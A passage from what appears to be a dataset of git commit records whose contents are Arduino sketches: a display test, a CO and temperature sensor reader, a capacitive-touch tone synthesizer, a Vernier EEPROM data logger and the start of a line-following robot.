Serial.begin(9600);\n\n display.begin();\n \/\/ init done\n\n \/\/ you can change the contrast around to adapt the display\n \/\/ for the best viewing!\n display.setContrast(50);\n\n display.display(); \/\/ show splashscreen\n delay(2000);\n display.clearDisplay(); \/\/ clears the screen and buffer\n\n \/\/ draw a single pixel\n display.drawPixel(10, 10, BLACK);\n display.display();\n delay(2000);\n display.clearDisplay();\n\n\/\/ \/\/ draw many lines\n\/\/ \/\/testdrawline();\n\/\/ \/\/display.display();\n\/\/ \/\/delay(2000);\n\/\/ \/\/display.clearDisplay();\n\/\/\n\/\/ \/\/ draw rectangles\n\/\/ testdrawrect();\n\/\/ display.display();\n\/\/ delay(2000);\n\/\/ display.clearDisplay();\n\/\/\n\/\/ \/\/ draw multiple rectangles\n\/\/ testfillrect();\n\/\/ display.display();\n\/\/ delay(2000);\n\/\/ display.clearDisplay();\n\/\/\n\/\/ \/\/ draw mulitple circles\n\/\/ testdrawcircle();\n\/\/ display.display();\n\/\/ delay(2000);\n\/\/ display.clearDisplay();\n\n \/\/ draw a circle, 10 pixel radius\n display.fillCircle(display.width()\/2, display.height()\/2, 10, BLACK);\n display.display();\n delay(2000);\n display.clearDisplay();\n\/\/\n\/\/ testdrawroundrect();\n\/\/ delay(2000);\n\/\/ display.clearDisplay();\n\/\/\n\/\/ testfillroundrect();\n\/\/ delay(2000);\n\/\/ display.clearDisplay();\n\/\/\n\/\/ testdrawtriangle();\n\/\/ delay(2000);\n\/\/ display.clearDisplay();\n\/\/ \n\/\/ testfilltriangle();\n\/\/ delay(2000);\n\/\/ display.clearDisplay();\n\/\/\n \/\/ draw the first ~12 characters in the font\n testdrawchar();\n display.display();\n delay(2000);\n display.clearDisplay();\n\n \/\/ text display tests\n \/\/display.setTextSize(1);\n\/\/ display.setTextColor(BLACK);\n\/\/ display.setCursor(0,0);\n\/\/ display.println(\"Hello, world!\");\n\/\/ display.setTextColor(WHITE, BLACK); \/\/ 'inverted' text\n\/\/ display.println(3.141592);\n\/\/ display.setTextSize(2);\n\/\/ display.setTextColor(BLACK);\n\/\/ display.print(\"0x\"); display.println(0xDEADBEEF, HEX);\n\/\/ display.display();\n\/\/ delay(2000);\n\/\/\n\/\/ \/\/ rotation example\n\/\/ display.clearDisplay();\n\/\/ display.setRotation(1); \/\/ rotate 90 degrees counter clockwise, can also use values of 2 and 3 to go further.\n\/\/ display.setTextSize(1);\n\/\/ display.setTextColor(BLACK);\n\/\/ display.setCursor(0,0);\n\/\/ display.println(\"Rotation\");\n\/\/ display.setTextSize(2);\n\/\/ display.println(\"Example!\");\n\/\/ display.display();\n\/\/ delay(2000);\n\n \/\/ revert back to no rotation\n display.setRotation(0);\n\n \/\/ miniature bitmap display\n \/\/display.clearDisplay();\n \/\/display.drawBitmap(30, 16, logo16_glcd_bmp, 16, 16, 1);\n \/\/display.display();\n\n \/\/ invert the display\n \/\/display.invertDisplay(true);\n \/\/delay(1000); \n \/\/display.invertDisplay(false);\n \/\/delay(1000); \n\n \/\/ draw a bitmap icon and 'animate' movement\n \/\/testdrawbitmap(logo16_glcd_bmp, LOGO16_GLCD_WIDTH, LOGO16_GLCD_HEIGHT);\n \/\/ Wait for serial to come in, then clear display and go to echo\n display.fillCircle(display.width()\/2, display.width()\/2, 2, BLACK);\n display.display();\n delay(2000);\n display.clearDisplay();\n \n while (! Serial); \/\/ Wait until Serial is ready \n}\n\n\n\/\/ Loop turns the display into a local serial monitor echo.\n\/\/ Type to the Arduino from the serial monitor, and it'll echo\n\/\/ what you type on the display. Type ~ to clear the display.\nvoid loop()\n{\n\n int16_t x0 = display.width()\/2;\n int16_t y0 = display.height()\/2;\n display.fillCircle(x0, y0, 0.5, BLACK);\n display.display();\n\n int16_t r =20;\n \n double theta=0;\n double DEGREES_TO_RADIANS = 2*PI\/360;\n \n if (Serial.available())\n {\n int angle = Serial.parseInt();\n \n theta = angle*DEGREES_TO_RADIANS;\n double delta_x = r*cos(theta);\n double delta_y = r*sin(theta);\n int16_t x1 = x0+ (int)delta_x;\n int16_t y1 = y0+ (int)delta_y;\n \n \/\/ draw a circle, 2 pixel radius\n display.fillCircle(x1, y1, 2, BLACK);\n display.display();\n \/\/ draw a line\n display.drawLine(x0, y0, x1, y1, BLACK);\n display.display();\n delay(1000);\n display.clearDisplay();\n display.fillCircle(x0, y0, 0.5, BLACK);\n display.display();\n \n }\n}\n\n\nvoid testdrawbitmap(const uint8_t *bitmap, uint8_t w, uint8_t h) {\n uint8_t icons[NUMFLAKES][3];\n randomSeed(666); \/\/ whatever seed\n \n \/\/ initialize\n for (uint8_t f=0; f< NUMFLAKES; f++) {\n icons[f][XPOS] = random(display.width());\n icons[f][YPOS] = 0;\n icons[f][DELTAY] = random(5) + 1;\n \n Serial.print(\"x: \");\n Serial.print(icons[f][XPOS], DEC);\n Serial.print(\" y: \");\n Serial.print(icons[f][YPOS], DEC);\n Serial.print(\" dy: \");\n Serial.println(icons[f][DELTAY], DEC);\n }\n\n while (1) {\n \/\/ draw each icon\n for (uint8_t f=0; f< NUMFLAKES; f++) {\n display.drawBitmap(icons[f][XPOS], icons[f][YPOS], logo16_glcd_bmp, w, h, BLACK);\n }\n display.display();\n delay(200);\n \n \/\/ then erase it + move it\n for (uint8_t f=0; f< NUMFLAKES; f++) {\n display.drawBitmap(icons[f][XPOS], icons[f][YPOS], logo16_glcd_bmp, w, h, WHITE);\n \/\/ move it\n icons[f][YPOS] += icons[f][DELTAY];\n \/\/ if its gone, reinit\n if (icons[f][YPOS] > display.height()) {\n\ticons[f][XPOS] = random(display.width());\n\ticons[f][YPOS] = 0;\n\ticons[f][DELTAY] = random(5) + 1;\n }\n }\n }\n}\n\n\nvoid testdrawchar(void) {\n display.setTextSize(1);\n display.setTextColor(BLACK);\n display.setCursor(0,0);\n\n for (uint8_t i=0; i < 168; i++) {\n if (i == '\\n') continue;\n display.write(i);\n \/\/if ((i > 0) && (i % 14 == 0))\n \/\/display.println();\n } \n display.display();\n}\n\nvoid testdrawcircle(void) {\n for (int16_t i=0; i<display.height(); i+=2) {\n display.drawCircle(display.width()\/2, display.height()\/2, i, BLACK);\n display.display();\n }\n}\n\nvoid testfillrect(void) {\n uint8_t color = 1;\n for (int16_t i=0; i<display.height()\/2; i+=3) {\n \/\/ alternate colors\n display.fillRect(i, i, display.width()-i*2, display.height()-i*2, color%2);\n display.display();\n color++;\n }\n}\n\nvoid testdrawtriangle(void) {\n for (int16_t i=0; i<min(display.width(),display.height())\/2; i+=5) {\n display.drawTriangle(display.width()\/2, display.height()\/2-i,\n display.width()\/2-i, display.height()\/2+i,\n display.width()\/2+i, display.height()\/2+i, BLACK);\n display.display();\n }\n}\n\nvoid testfilltriangle(void) {\n uint8_t color = BLACK;\n for (int16_t i=min(display.width(),display.height())\/2; i>0; i-=5) {\n display.fillTriangle(display.width()\/2, display.height()\/2-i,\n display.width()\/2-i, display.height()\/2+i,\n display.width()\/2+i, display.height()\/2+i, color);\n if (color == WHITE) color = BLACK;\n else color = WHITE;\n display.display();\n }\n}\n\nvoid testdrawroundrect(void) {\n for (int16_t i=0; i<display.height()\/2-2; i+=2) {\n display.drawRoundRect(i, i, display.width()-2*i, display.height()-2*i, display.height()\/4, BLACK);\n display.display();\n }\n}\n\nvoid testfillroundrect(void) {\n uint8_t color = BLACK;\n for (int16_t i=0; i<display.height()\/2-2; i+=2) {\n display.fillRoundRect(i, i, display.width()-2*i, display.height()-2*i, display.height()\/4, color);\n if (color == WHITE) color = BLACK;\n else color = WHITE;\n display.display();\n }\n}\n \nvoid testdrawrect(void) {\n for (int16_t i=0; i<display.height()\/2; i+=2) {\n display.drawRect(i, i, display.width()-2*i, display.height()-2*i, BLACK);\n display.display();\n }\n}\n\nvoid testdrawoneline() { \n for (int16_t i=0; i<display.width(); i+=4) {\n display.drawLine(0, 0, i, display.height()-1, BLACK);\n display.display();\n }\n for (int16_t i=0; i<display.height(); i+=4) {\n display.drawLine(0, 0, display.width()-1, i, BLACK);\n display.display();\n }\n delay(250);\n}\n\nvoid testdrawline() { \n for (int16_t i=0; i<display.width(); i+=4) {\n display.drawLine(0, 0, i, display.height()-1, BLACK);\n display.display();\n }\n for (int16_t i=0; i<display.height(); i+=4) {\n display.drawLine(0, 0, display.width()-1, i, BLACK);\n display.display();\n }\n delay(250);\n \n display.clearDisplay();\n for (int16_t i=0; i<display.width(); i+=4) {\n display.drawLine(0, display.height()-1, i, 0, BLACK);\n display.display();\n }\n for (int8_t i=display.height()-1; i>=0; i-=4) {\n display.drawLine(0, display.height()-1, display.width()-1, i, BLACK);\n display.display();\n }\n delay(250);\n \n display.clearDisplay();\n for (int16_t i=display.width()-1; i>=0; i-=4) {\n display.drawLine(display.width()-1, display.height()-1, i, 0, BLACK);\n display.display();\n }\n for (int16_t i=display.height()-1; i>=0; i-=4) {\n display.drawLine(display.width()-1, display.height()-1, 0, i, BLACK);\n display.display();\n }\n delay(250);\n\n display.clearDisplay();\n for (int16_t i=0; i<display.height(); i+=4) {\n display.drawLine(display.width()-1, 0, 0, i, BLACK);\n display.display();\n }\n for (int16_t i=0; i<display.width(); i+=4) {\n display.drawLine(display.width()-1, 0, i, display.height()-1, BLACK); \n display.display();\n }\n delay(250);\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'code\/pbdisplay\/pcdtestAug22serialinputangle\/pcdtestAug22serialinputangle.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"98de98a4771fa0835d8c46b963b96b1b8e9415a3","subject":"Add Arduino - MQ7, Temperature Sensor","message":"Add Arduino - MQ7, Temperature Sensor\n","repos":"SoJungOpenHack\/CO_Bot","old_file":"Arduino\/arduino_source\/arduino_source.ino","new_file":"Arduino\/arduino_source\/arduino_source.ino","new_contents":"#include <DHT11.h>\n#include <SoftwareSerial.h>\n\n\/\/SoftwareSerial BTSerial(10, 11); \/\/ BLE(TXD) - RX(Arduino - 10) | BLE(RXD) - TX(Arduino - 11)\n \n \/\/ Serial1 (Arduino - Mega)\n \/\/ BLE(TXD) - RX(Arduino - 19) | BLE(RXD) - TX(Arduino - 18)\nuint8_t buffer[256];\nuint8_t index = 0;\n\n\/\/ 3.3 v\n\/\/int Magnetic_Value = 0;\n\/\/int Magnetic_PIN = 2; \/\/ Digital\n\/\/int Flame_Value = 0;\n\/\/int Flame_PIN = 5; \/\/ Digital\n\n\n\/\/ no Voltage\nint LEDGREEN_PIN = 9; \/\/ Digital\nint LEDRED_PIN = 10; \/\/ Digital\n\n\/\/ 5.0v\nint CO_Value = 100;\nint CO_PIN = 3; \/\/ Analog\nint Buzzer_PIN = 12; \/\/ Digital\n\nint DHT_PIN=4; \/\/ Digital\nDHT11 dht11(DHT_PIN); \n\n\nvoid setup(){\n\/\/ pinMode(Magnetic_PIN, INPUT);\n \/\/pinMode(Flame_PIN, INPUT); \n pinMode(Buzzer_PIN,OUTPUT);\n pinMode(LEDGREEN_PIN, OUTPUT);\n pinMode(LEDRED_PIN, OUTPUT);\n \n \/\/pinMode(13, OUTPUT);\n\/\/ Buzzer_OFF();\n \n Serial.begin(9600); \/\/Arduino Bluetooth - PC Serial\n Serial1.begin(9600);\n \/\/ PC == Serial1.begin(115200); \/\/Arduino Bluetooth - Bluetooth connect Device\n \/\/ using Putty set baudrate\n Serial.println(\"Ready..\");\n \n}\n\nvoid loop(){\n\n \n \/\/ \ubd88\uaf43 \ubc1c\uc0dd\uc2dc 0, \ud3c9\uc0c1 \uc2dc 1 \ubc18\ud658\n \/\/Flame_Check();\n \n \/\/ \ubb38 \ub2eb\ud600\uc788\uc744 \uacbd\uc6b0(\uc790\uc11d \ubd99\uc5b4\uc788\uc74c) 0, \uc5f4\ub824\uc788\uc744 \uacbd\uc6b0(\uc790\uc11d \ub5a8\uc5b4\uc9d0) 1 \ubc18\ud658\n \/\/Magnetic_Check();\n \n \/\/ \ub77c\uc774\ud130 \uac00\uc2a4 \uc8fc\uc785 \uc2dc 500 \uc774\uc0c1 \uc720\uc9c0 \ud3c9\uc0ac\uc2dc 300 ~ 500 \ubbf8\ub9cc \uc0ac\uc774 \uc720\uc9c0\n CO_Check();\n Serial.println(\"temp\");\n Temp_Check(); \n Serial.print(\"index=\");\n Serial.println(index);\n \n Serial1.write(buffer,index);\n for(uint8_t i = 0; i< index; i++){\n Serial.println(buffer[i]);\n delay(50);\n }\n\n \n delay(50);\n\n index = 0;\n}\n\n\n\/\/ \ubd88\uaf43 \ubc1c\uc0dd\uc2dc 0, \ud3c9\uc0c1 \uc2dc 1 \ubc18\ud658\n\/*void Flame_Check(){\n Flame_Value = digitalRead(Flame_PIN);\n \n if(Flame_Value == HIGH){\n Buzzer_OFF();\n ColorLed_OFF();\n buffer[index++] = 's';\n }else{\n ColorLed_ON();\n \/\/Buzzer_ON();\n buffer[index++] = 'f';\n }\n Serial.print(\"FlameValue : \\r \");\n Serial.print(Flame_Value, DEC);\n Serial.println(\"\\n\");\n delay(50);\n \n Flame_Value = 0;\n}\n\n\/\/ \ubb38 \ub2eb\ud600\uc788\uc744 \uacbd\uc6b0(\uc790\uc11d \ubd99\uc5b4\uc788\uc74c) 0, \uc5f4\ub824\uc788\uc744 \uacbd\uc6b0(\uc790\uc11d \ub5a8\uc5b4\uc9d0) 1 \ubc18\ud658\nvoid Magnetic_Check(){\n Magnetic_Value = digitalRead(Magnetic_PIN);\n \n if(Magnetic_Value == HIGH){\n ColorLed_ON();\n buffer[index++] = 'o';\n }else{\n ColorLed_OFF();\n buffer[index++] = 'c';\n }\n Serial.print(\"MagneticValue : \\r \");\n Serial.print(Magnetic_Value, DEC);\n Serial.println(\"\\n\");\n delay(50);\n \n Magnetic_Value = 0;\n}\n*\/\n\/\/ \ub77c\uc774\ud130 \uac00\uc2a4 \uc8fc\uc785 \uc2dc 500 \uc774\uc0c1 \uc720\uc9c0 \ud3c9\uc0ac\uc2dc 300 ~ 500 \ubbf8\ub9cc \uc0ac\uc774 \uc720\uc9c0\nvoid CO_Check(){\n CO_Value = analogRead(CO_PIN) * 3;\n\/*\n \/\/ 1\ub2e8\uacc4_\uc548\uc804(~400)\n if(CO_Value < 400) {\n ColorLed_ON();\n buffer[index++] = 'a';\n }\n \/\/ 2\ub2e8\uacc4 (400~600)\n else if (CO_Value >= 400 && CO_Value < 600) {\n buffer[index++] = 'b';\n }\n \/\/ 3\ub2e8\uacc4 (600~1000)\n else if (CO_Value >= 600 && CO_Value < 1000) {\n buffer[index++] = 'c';\n } \n else {\n ColorLed_OFF();\n buffer[index++] = 'd';\n }*\/\n\n \n\n \n Serial.print(\"CO_Value : \\r \");\n Serial.print(CO_Value, DEC);\n Serial.println(\"\\n\");\n Serial.println(index);\n\n pack32(CO_Value,buffer);\n\n delay(50);\n \n CO_Value = 0;\n \n \n}\n\nvoid pack32(uint32_t val,uint8_t *dest)\n{\n dest[index++] = (val & 0xff000000) >> 24;\n dest[index++] = (val & 0x00ff0000) >> 16;\n dest[index++] = (val & 0x0000ff00) >> 8;\n dest[index++] = (val & 0x000000ff) ;\n}\n\n\n\nvoid Temp_Check(){\n int err;\n float temp,humi;\n \n \n if((err=dht11.read(temp,humi))==0)\n {\n buffer[index++] = temp;\n \/\/ buffer[index++] = humi;\n }\n\n Serial.print(temp);\n \n delay(DHT11_RETRY_DELAY); \/\/delay for reread\n}\n\/*\nvoid Buzzer_ON(){\n int i;\n for(i=0;i<80;i++){ \/\/output sound of one frequency\n digitalWrite(Buzzer_PIN,HIGH);\/\/make a sound\n delay(1);\/\/delay 1ms\n digitalWrite(Buzzer_PIN,LOW);\/\/silient\n delay(1);\/\/delay 1ms\n }\n for(i=0;i<300;i++) {\/\/output sound of another frequency \n digitalWrite(Buzzer_PIN,HIGH);\/\/make a sound\n delay(2);\/\/delay 2ms\n digitalWrite(Buzzer_PIN,LOW);\/\/silient \n delay(2);\/\/delay 2ms\n }\n}\nvoid Buzzer_OFF(){\n digitalWrite(Buzzer_PIN,LOW);\n}\n\n\/\/ RED \uc810\uba78\nvoid ColorLed_ON(){\n digitalWrite(LEDGREEN_PIN,HIGH);\n}\n\n\/\/ GREEN \uc810\uba78\nvoid ColorLed_OFF(){\n digitalWrite(LEDGREEN_PIN, LOW);\n}*\/\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'Arduino\/arduino_source\/arduino_source.ino' did not match any file(s) known to git\n","license":"apache-2.0","lang":"Arduino"} {"commit":"134da07947b22491e4c6441a255424e4f6f7f996","subject":"add version 3.10","message":"add version 3.10","repos":"jack-the-coder\/soundSynth","old_file":"soundSynth.ino","new_file":"soundSynth.ino","new_contents":"#include \"CapacitiveSensor.h\"\n\nCapacitiveSensor cs_7_8 = CapacitiveSensor(7, 8);\nCapacitiveSensor cs_7_9 = CapacitiveSensor(7, 9);\nCapacitiveSensor cs_7_10 = CapacitiveSensor(7, 10);\nCapacitiveSensor cs_7_11 = CapacitiveSensor(7, 11);\nCapacitiveSensor cs_7_12 = CapacitiveSensor(7, 12);\n\n\nvoid setup() {\n \/\/ put your setup code here, to run once:\n\n pinMode(2, INPUT);\n pinMode(3, INPUT);\n pinMode(4, INPUT);\n pinMode(5, INPUT);\n pinMode(6, INPUT);\n pinMode(13, OUTPUT);\n \/\/ CAPACITIVE SENSOR \n\/* pinMode(7, INPUT);\n pinMode(8, INPUT);\n pinMode(9, INPUT);\n pinMode(10, INPUT);\n pinMode(11, INPUT);\n pinMode(12, INPUT);\n\n *\/\n\n cs_7_8.set_CS_AutocaL_Millis(0xFFFFFFFF);\n cs_7_9.set_CS_AutocaL_Millis(0xFFFFFFFF);\n cs_7_10.set_CS_AutocaL_Millis(0xFFFFFFFF);\n cs_7_11.set_CS_AutocaL_Millis(0xFFFFFFFF);\n cs_7_12.set_CS_AutocaL_Millis(0xFFFFFFFF);\n\n}\n\n\n\nvoid loop() {\n\n int scale = map(analogRead(0), 0, 1023, 0, 4);\n int len = analogRead(5) + 50;\n float t1 = 220;\n float t2 = 246.94;\n float t3 = 277.18;\n float t4 = 293.66;\n float t5 = 329.63;\n\n long total0 = cs_7_8.capacitiveSensor(30);\n long total1 = cs_7_9.capacitiveSensor(30);\n long total2 = cs_7_10.capacitiveSensor(30);\n long total3 = cs_7_11.capacitiveSensor(30);\n long total4 = cs_7_12.capacitiveSensor(30);\n\n long sens = 500;\n \n\n if (scale == 0) {\n\n t1 = 220;\n t2 = 246.94;\n t3 = 277.18;\n t4 = 293.66;\n t5 = 329.63;\n }\n if (scale == 1) {\n\n\n t1 = 261.63;\n t2 = 293.66;\n t3 = 329.63;\n t4 = 349.23;\n t5 = 392.00;\n }\n if (scale == 2) {\n\n\n t1 = 293.66;\n t2 = 329.63;\n t3 = 349.23;\n t4 = 392.00;\n t5 = 440.00;\n }\n if (scale == 3) {\n\n\n t1 = 349.23;\n t2 = 392.00;\n t3 = 440.00;\n t4 = 466.16;\n t5 = 523.25;\n }\n if (scale == 4) {\n\n t1 = 392.00;\n t2 = 440.00;\n t3 = 493.88;\n t4 = 523.25;\n t5 = 587.33;\n }\n\n\n\n if (total0 > sens) {\n tone(13, t1);\n delay(len);\n noTone(13);\n\n\n }\n\n if (total1 > sens) {\n tone(13, t2);\n delay(len);\n noTone(13);\n\n\n }\n if (total2 > sens) {\n tone(13, t3);\n delay(len);\n noTone(13);\n\n\n }\n if (total3 > sens) {\n tone(13, t4);\n delay(len);\n noTone(13);\n\n\n }\n if (total4 > sens) {\n tone(13, t5);\n delay(len);\n noTone(13);\n }\n\n\/\/ regular buttons\nif (digitalRead(2) == HIGH) {\n tone(13, t1);\n delay(len);\n noTone(13);\n\n\n }\n\n if (digitalRead(3) == HIGH) {\n tone(13, t2);\n delay(len);\n noTone(13);\n\n\n }\n if (digitalRead(4) == HIGH) {\n tone(13, t3);\n delay(len);\n noTone(13);\n\n\n }\n if (digitalRead(5) == HIGH) {\n tone(13, t4);\n delay(len);\n noTone(13);\n\n\n }\n if (digitalRead(6) == HIGH) {\n tone(13, t5);\n delay(len);\n noTone(13);\n }\n\n \n\n\n\n\n \n}\r\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'soundSynth.ino' did not match any file(s) known to git\n","license":"apache-2.0","lang":"Arduino"} {"commit":"6bb909746b6e4caad7c45806a2111b0f7b5fc8e0","subject":"Added VernierAnalogStore sketch.","message":"Added VernierAnalogStore sketch.\n","repos":"jeremykenedy\/arduino","old_file":"VernierAnalogStore\/VernierAnalogStore.ino","new_file":"VernierAnalogStore\/VernierAnalogStore.ino","new_contents":"\/*\nVernierAnalogStore\nReads a Vernier analog (BTA) Sensor connected to pin A0 of the Arduino and and stores the data in the non-volatile EEPROM memory of the Arduino.\nThis sketch displays the time and sensor readings on the Serial Monitor. \nAs written, the readings will be displayed every half second. \nChange the variable TimeBetweenReadings to change the rate.\nChange the variable NumberOfReadings to change the number of data points to take.\n See www.vernier.com\/arduino for more information, especially for information on how this sketch can be used to collect remote data with the Arduino away from a computer.\n Thanks to B. Huang, for help on this program, especially the structure of a program to store and retrieve data.\n*\/\nint buttonPin= 12; \/\/ analog input pin to use as a digital input\nint ledPin1= 13; \/\/ digital output pin for LED 1 indicator\nint debounce= 20; \/\/ ms debounce period to prevent flickering when pressing or releasing the button\nint holdTime= 2000; \/\/ ms hold period: how long to wait for press+hold event\n#include <EEPROM.h>\nint base = 0; \/\/ the base address in EEPROM for data storage\n\/\/ note first two bytes store the number of points collected\n\/\/ Button variables\nint buttonVal = 0; \/\/ value read from button\nint buttonLast = 1; \/\/ buffered value of the button's previous state\nlong btnDnTime; \/\/ time the button was pressed down\nlong btnUpTime; \/\/ time the button was released\nboolean ignoreUp = false; \/\/ whether to ignore the button release because the click+hold was triggered\nboolean ledVal1 = false; \/\/ state of LED 1\nint AnalogDataPin = A1; \/\/ this may be changed depending on circuit wiring\nint Count;\nfloat Voltage;\nfloat SensorReading;\nunsigned long Time;\nlong unsigned int TimeBetweenReadings = 500; \/\/in ms\nint NumberOfPoints= 511;\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\nString SensorName = \"Dual-Range Force Sensor\";\nString Measurement = \"Force\";\nString ShortMeasurement = \"F\"; \/\/ this is a shortened version of the label\nString Units = \"Newtons\";\nfloat Intercept = 12.25;\nfloat Slope = -4.9;\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\nvoid setup()\n{\n\/\/ Set button input pin\npinMode(buttonPin, INPUT);\ndigitalWrite(buttonPin, HIGH);\npinMode(AnalogDataPin, INPUT);\npinMode(ledPin1, OUTPUT);\/\/ Set LED output pin\nSerial.begin(9600);\nSerial.println(\"VernierAnalogStore sketch\");\nSerial.println(\"Press and hold to collect new data\");\nSerial.println(\"Press button briefly to read data stored in EEPROM\");\nSerial.println(\"and send it to the Serial Monitor\");\nSerial.println(\" \");\n}\nvoid loop()\n{\ndigitalWrite(ledPin1, false);\n\/\/ Read the state of the button\nbuttonVal = digitalRead(buttonPin);\/\/ button down is low\n\/\/ Test for button pressed and store the down time\nif (buttonVal == LOW && buttonLast == HIGH && (millis() - btnUpTime) > long(debounce))\n{ \/\/button pressed\n btnDnTime = millis();\/\/ note time of press\n}\n\/\/ Test for button release and store the up time\nif (buttonVal == HIGH && buttonLast == LOW && (millis() - btnDnTime) > long(debounce))\n{\n if (ignoreUp == false) ReadEEPROMData();\/\/ read data from EEPROM and send to Serial Monitor\n else ignoreUp = false;\nbtnUpTime = millis();\/\/ note time of button release\n}\n\/\/ Test for button held down for longer than the hold time\nif (buttonVal == LOW && (millis() - btnDnTime) > long(holdTime))\n{\nCollectData(); \/\/collect new data\nignoreUp = true;\nbtnDnTime = millis(); \/\/ get new button down time\n}\nbuttonLast = buttonVal;\n}\n\/\/=================================================\n\/\/ Events to trigger by click and press+hold\nvoid ReadEEPROMData()\/\/ \/\/Send data to Serial Monitor\n{\n ledVal1 = !ledVal1;\n digitalWrite(ledPin1, true);\n int NumberOfPointsRead;\/\/ local variable\n Serial.println(\"Send Data to Serial Monitor\");\n Serial.println(\" \");\n int Sample = 0;\/\/ local variables\n int i = 0; \n int addr = base+ 2; \/\/starting address of memory for data storage\n \/\/note addr is laterincremented\n NumberOfPointsRead = EEPROM.read(base) + EEPROM.read(base+ 1)*256;\n Serial.println( \"Vernier Format 2\");\n Serial.print(NumberOfPointsRead);\n Serial.print(\" readings taken with a Vernier \");\n Serial.println(SensorName);\n Serial.println(\"Data Set From Arduino\");\n Serial.print(\"Time\");\n Serial.print(\"\\t\"); \/\/ print a tab character \n Serial.println(Measurement); \n Serial.print(\"T\");\n Serial.print(\"\\t\"); \/\/ print a tab character \n Serial.println(ShortMeasurement); \n Serial.print(\"s\");\n Serial.print(\"\\t\"); \/\/ print a tab character \n Serial.println(Units); \n for (i = 0; i <(NumberOfPointsRead)*2; i+=2)\n {\n Count = EEPROM.read(base+2 + i) | EEPROM.read(base+2 + i + 1) << 8; \n \/\/the print below does the division first to avoid overflows\n Serial.print(i\/2\/1000.0*TimeBetweenReadings); \n Serial.print(\"\\t\"); \/\/ print a tab character \n Voltage = Count * (5.0\/ 1024);\n SensorReading= Intercept + Voltage * Slope;\n Serial.println(SensorReading);\n }\nSerial.println(\" \");\nSerial.println(\"Press and hold button to collect new data \");\nSerial.println(\" \");\ndigitalWrite(ledPin1, false); \/\/turn off LED\n\/\/end of send data to Serial Monitor\n}\nvoid CollectData() \/\/Collect Data\n{\nledVal1 = !ledVal1;\nSerial.begin(9600);\nSerial.println(\"Collecting Data...\");\nSerial.println(\" \");\nint Sample = 0;\/\/ local variable\nunsigned long StartTime =0;\nint addr = base+ 2; \/\/starting address of memory for data storage\n\/\/note addr is later incremented\n Serial.println( \"Vernier Format 2\");\n Serial.print(NumberOfPoints);\n Serial.print(\" readings taken with a Vernier \");\n Serial.println(SensorName);\n Serial.println(\"Data Set From Arduino\");\n Serial.print(\"Reading\");\n Serial.print(\"\\t\"); \n Serial.print(\"Time\");\n Serial.print(\"\\t\"); \/\/ print a tab character \n Serial.println(Measurement); \n Serial.print(\"n\");\n Serial.print(\"\\t\");\n Serial.print(\"T\");\n Serial.print(\"\\t\"); \/\/ print a tab character \n Serial.println(ShortMeasurement); \n Serial.print(\"#\");\n Serial.print(\"\\t\"); \n Serial.print(\"s\"); \/\/ print a tab character \n Serial.print(\"\\t\"); \n Serial.println(Units);\n StartTime = millis();\/\/ time of last reading in ms\n for (Sample=0;Sample<NumberOfPoints;Sample++)\n {digitalWrite(ledPin1, true);\n Serial.print(Sample);\n Serial.print(\"\\t\");\n \/\/the print below does the division first to avoid overflows\n Serial.print(Sample\/1000.0*TimeBetweenReadings); \n Serial.print(\"\\t\");\n Count= analogRead(A1);\n Voltage = Count * (5.0\/ 1024);\n SensorReading = Intercept + Voltage * Slope;\n Serial.println(SensorReading);\n EEPROM.write(addr, lowByte(Count));\n EEPROM.write(addr + 1, highByte(Count));\n addr +=2; \/\/increment address pointer twice \n delay (TimeBetweenReadings\/2);\/\/these lines are to give a blink to the LED\n digitalWrite(ledPin1, false);\n delay (TimeBetweenReadings\/2);\n }\n\/\/the number of points is stored at base and base+1;\n\/\/data starts at the next two bytes (base=2 and base+3, etc);\nEEPROM.write(base+ 0, lowByte(NumberOfPoints));\nEEPROM.write(base + 1, highByte(NumberOfPoints));\nSerial.println(\" \");\nSerial.println(\"Press button briefly to send data to Serial Monitor\");\nSerial.println(\"Press and hold to collect new data\");\nSerial.println(\" \");\ndigitalWrite(ledPin1, false);\n};\/\/end of Data Collect\n\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'VernierAnalogStore\/VernierAnalogStore.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"b385e4626520eee55cdea46585bf9c1ef370e3cf","subject":"Just adding a File","message":"Just adding a File\n","repos":"FoxInc\/zippy-the-road-runner,FoxInc\/zippy-the-road-runner","old_file":"zippy_road_runner.ino","new_file":"zippy_road_runner.ino","new_contents":"\r\n#include <Motor.h>\r\n#include \"QTRSensors_teensy3.h\"\r\n\r\n#define BLUETOOTH Serial1\r\n\r\n#define ON_LINE(sensor)((sensor<COMPARE))\r\n#define OVERSHOOT_LINE_TIME 50\r\n\r\n\/\/ PID Constants\r\n#define KP\t2\r\n#define KI\t0\r\n#define KD\t80\r\n\r\n\/\/ MAX SPEED\r\n#define SPEED_MAX 2048\r\n#define SPEED_CALIBRATE 786\r\n#define SPEED_TURN 1024\r\n\r\n\/\/ Enable for white line on black background\r\n#define WHITE_ON_BLACK 1\r\n#define COMPARE 300\r\n\r\n\/\/ QTR 8RC SETUP\r\n#define NUMBER_OF_SENSORS 8\r\n#define EMITTER_ON 1\r\n#define EMITTER_PIN 22\r\n#define TIMEOUT 2500\r\n\r\n\/\/ Motor Driver Configurations\r\n#define MOTOR_DRIVER_PIN_STANDBY 7\r\n#define ENABLE_STANDBY digitalWrite(MOTOR_DRIVER_PIN_STANDBY, HIGH)\r\n#define DISABLE_STANDBY digitalWrite(MOTOR_DRIVER_PIN_STANDBY, LOW)\r\n\r\n\/\/ Buzzer Settings\r\n#define BUZZER_PIN 23\r\n#define BUZZER_ON digitalWrite(BUZZER_PIN, HIGH);\r\n#define BUZZER_OFF digitalWrite(BUZZER_PIN, LOW);\r\n\r\n#define DEBUG_MODE 0\r\n\r\nmotor motorLeft, motorRight;\r\n\r\n\/\/ Sensor configs\r\nunsigned char sensorPins[] = { 14, 15, 16, 17, 18, 19, 20, 21 };\r\nunsigned short sensorValues[NUMBER_OF_SENSORS];\r\n\r\n\/\/ PID Variables\r\nfloat position_ = 0, proportional = 0, derivative = 0, integral = 0, lastProportional = 0;\r\nfloat control = 